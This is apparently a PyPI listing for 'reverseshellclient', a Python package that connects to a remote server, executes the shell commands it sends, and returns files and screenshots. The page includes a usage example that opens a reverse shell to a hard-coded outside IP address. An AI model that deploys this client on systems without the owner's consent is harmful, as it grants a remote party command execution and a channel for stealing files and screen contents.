# Reverse shell client for unbureaucratic server/client connections with file transfer / screenshots
## pip install reverseshellclient
#### Tested against Windows 10 / Python 3.10 / Anaconda
Connect to the server at the specified IP address and port, and perform a reverse shell client-server communication.
To install the server: https://pypi.org/project/reverseshellserver/
Parameters:
ipaddress (str): The IP address of the server to connect to.
port (int): The port number of the server to connect to.
byte_len (int, optional): The maximum size of each data chunk (in bytes) used for communication with the server.
command_putfile (str, optional): The command prefix used to indicate a request from the server to send a file to the client.
command_getfile (str, optional): The command prefix used to indicate a request from the server to receive a file from the client.
command_screenshot (str, optional): The command that, when sent by the server, requests the client to take a screenshot and send it back as an image file.
command_getcwd (str, optional): The command that, when sent by the server, requests the client to send the current working directory path.
command_putfile_sep (bytes, optional): The separator used to split the 'putfile' command and the filename along with the file content.
command_start (bytes, optional): The marker used to indicate the start of a command transmission.
command_end (bytes, optional): The marker used to indicate the end of a command transmission.
before_stdout (bytes, optional): Bytes to prepend before the standard output of the executed command in the response to the server.
before_stderr (bytes, optional): Bytes to prepend before the standard error of the executed command in the response to the server.
Note:
- This function connects to the server specified by 'ipaddress' and 'port'.
- It performs a continuous loop of client-server communication until interrupted.
- The 'before_stdout' and 'before_stderr' parameters are used to format the response to the server when executing shell commands.
- The 'command_putfile', 'command_getfile', 'command_screenshot', and 'command_getcwd' prefixes are used to indicate specific actions from the server.
- The 'command_putfile_sep' is used to split the 'putfile' command and the filename along with the file content.
- 'command_start' and 'command_end' are used to wrap the encoded command for large data transmissions.
```python
r"""
from reverseshellclient import connect_to_server
connect_to_server(
ipaddress="171.181.217.19",
port=12345,
byte_len=32768,
command_putfile="putfile",
command_getfile="getfile",
command_screenshot="screenshot",
command_getcwd="getcwd",
command_putfile_sep=b"FILESEP",
command_start=b"START_START_START",
command_end=b"END_END_END",
before_stdout=b"stdout:\nxxxxxxxxxxxxxxxxxx\n",
before_stderr=b"\nxxxxxxxxxxxxxxxxxx\nstderr:\n",
)
```
Raw data
{
"_id": null,
"home_page": "https://github.com/hansalemaos/reverseshellclient",
"name": "reverseshellclient",
"maintainer": "",
"docs_url": null,
"requires_python": "",
"maintainer_email": "",
"keywords": "network,reverse,shell",
"author": "Johannes Fischer",
"author_email": "aulasparticularesdealemaosp@gmail.com",
"download_url": "https://files.pythonhosted.org/packages/f9/cf/59a1b9f9c8acb16160ebecdc678346e953986adbce29304027626d3bde74/reverseshellclient-0.11.tar.gz",
"platform": null,
"description": "\r\n# Reverse shell client for unbureaucratic server/client connections with file transfer / screenshots \r\n\r\n## pip install reverseshellclient \r\n\r\n#### Tested against Windows 10 / Python 3.10 / Anaconda \r\n\r\n\r\nConnect to the server at the specified IP address and port, and perform a reverse shell client-server communication.\r\nTo install the server: https://pypi.org/project/reverseshellserver/\r\n\r\nParameters:\r\n\tipaddress (str): The IP address of the server to connect to.\r\n\tport (int): The port number of the server to connect to.\r\n\tbyte_len (int, optional): The maximum size of each data chunk (in bytes) used for communication with the server.\r\n\tcommand_putfile (str, optional): The command prefix used to indicate a request from the server to send a file to the client.\r\n\tcommand_getfile (str, optional): The command prefix used to indicate a request from the server to receive a file from the client.\r\n\tcommand_screenshot (str, optional): The command that, when sent by the server, requests the client to take a screenshot and send it back as an image file.\r\n\tcommand_getcwd (str, optional): The command that, when sent by the server, requests the client to send the current working directory path.\r\n\tcommand_putfile_sep (bytes, optional): The separator used to split the 'putfile' command and the filename along with the file content.\r\n\tcommand_start (bytes, optional): The marker used to indicate the start of a command transmission.\r\n\tcommand_end (bytes, optional): The marker used to indicate the end of a command transmission.\r\n\tbefore_stdout (bytes, optional): Bytes to prepend before the standard output of the executed command in the response to the server.\r\n\tbefore_stderr (bytes, optional): Bytes to prepend before the standard error of the executed command in the response to the server.\r\n\r\nNote:\r\n\t- This function connects to the server specified by 'ipaddress' and 'port'.\r\n\t- It performs a continuous loop of client-server communication until interrupted.\r\n\t- The 'before_stdout' and 'before_stderr' parameters are used to format the response to the server when executing shell commands.\r\n\t- The 'command_putfile', 'command_getfile', 'command_screenshot', and 'command_getcwd' prefixes are used to indicate specific actions from the server.\r\n\t- The 'command_putfile_sep' is used to split the 'putfile' command and the filename along with the file content.\r\n\t- 'command_start' and 'command_end' are used to wrap the encoded command for large data transmissions.\r\n\t\r\n```python\r\n r\"\"\"\r\nfrom reverseshellclient import connect_to_server\r\nconnect_to_server(\r\n\tipaddress=\"171.181.217.19\",\r\n\tport=12345,\r\n\tbyte_len=32768,\r\n\tcommand_putfile=\"putfile\",\r\n\tcommand_getfile=\"getfile\",\r\n\tcommand_screenshot=\"screenshot\",\r\n\tcommand_getcwd=\"getcwd\",\r\n\tcommand_putfile_sep=b\"FILESEP\",\r\n\tcommand_start=b\"START_START_START\",\r\n\tcommand_end=b\"END_END_END\",\r\n\tbefore_stdout=b\"stdout:\\nxxxxxxxxxxxxxxxxxx\\n\",\r\n\tbefore_stderr=b\"\\nxxxxxxxxxxxxxxxxxx\\nstderr:\\n\",\r\n)\r\n\r\n\t\t\r\n```\r\n",
"bugtrack_url": null,
"license": "MIT",
"summary": "Reverse shell CLIENT for unbureaucratic server/client connections with file transfer / screenshots",
"version": "0.11",
"project_urls": {
"Homepage": "https://github.com/hansalemaos/reverseshellclient"
},
"split_keywords": [
"network",
"reverse",
"shell"
],
"urls": [
{
"comment_text": "",
"digests": {
"blake2b_256": "b9c8fbd0e4be6dd048de230b3335efa766ad03e0b43cb68a51d4bd036341851b",
"md5": "3b79f31fc9ae7a84a5100959780561ce",
"sha256": "5b9638e72a0953b53880fbe21ad72334c3bc94b2eeab4775c2ab8787a33ad67b"
},
"downloads": -1,
"filename": "reverseshellclient-0.11-py3-none-any.whl",
"has_sig": false,
"md5_digest": "3b79f31fc9ae7a84a5100959780561ce",
"packagetype": "bdist_wheel",
"python_version": "py3",
"requires_python": null,
"size": 7143,
"upload_time": "2023-07-26T23:24:35",
"upload_time_iso_8601": "2023-07-26T23:24:35.081316Z",
"url": "https://files.pythonhosted.org/packages/b9/c8/fbd0e4be6dd048de230b3335efa766ad03e0b43cb68a51d4bd036341851b/reverseshellclient-0.11-py3-none-any.whl",
"yanked": false,
"yanked_reason": null
},
{
"comment_text": "",
"digests": {
"blake2b_256": "f9cf59a1b9f9c8acb16160ebecdc678346e953986adbce29304027626d3bde74",
"md5": "e1e435635080d8c19fa894544df49345",
"sha256": "77b117279846878ac3b78d5c09dc550aab38865451eed217edf1626ecaeec6e5"
},
"downloads": -1,
"filename": "reverseshellclient-0.11.tar.gz",
"has_sig": false,
"md5_digest": "e1e435635080d8c19fa894544df49345",
"packagetype": "sdist",
"python_version": "source",
"requires_python": null,
"size": 5027,
"upload_time": "2023-07-26T23:24:36",
"upload_time_iso_8601": "2023-07-26T23:24:36.690351Z",
"url": "https://files.pythonhosted.org/packages/f9/cf/59a1b9f9c8acb16160ebecdc678346e953986adbce29304027626d3bde74/reverseshellclient-0.11.tar.gz",
"yanked": false,
"yanked_reason": null
}
],
"upload_time": "2023-07-26 23:24:36",
"github": true,
"gitlab": false,
"bitbucket": false,
"codeberg": false,
"github_user": "hansalemaos",
"github_project": "reverseshellclient",
"travis_ci": false,
"coveralls": false,
"github_actions": false,
"requirements": [],
"lcname": "reverseshellclient"
}
JSON
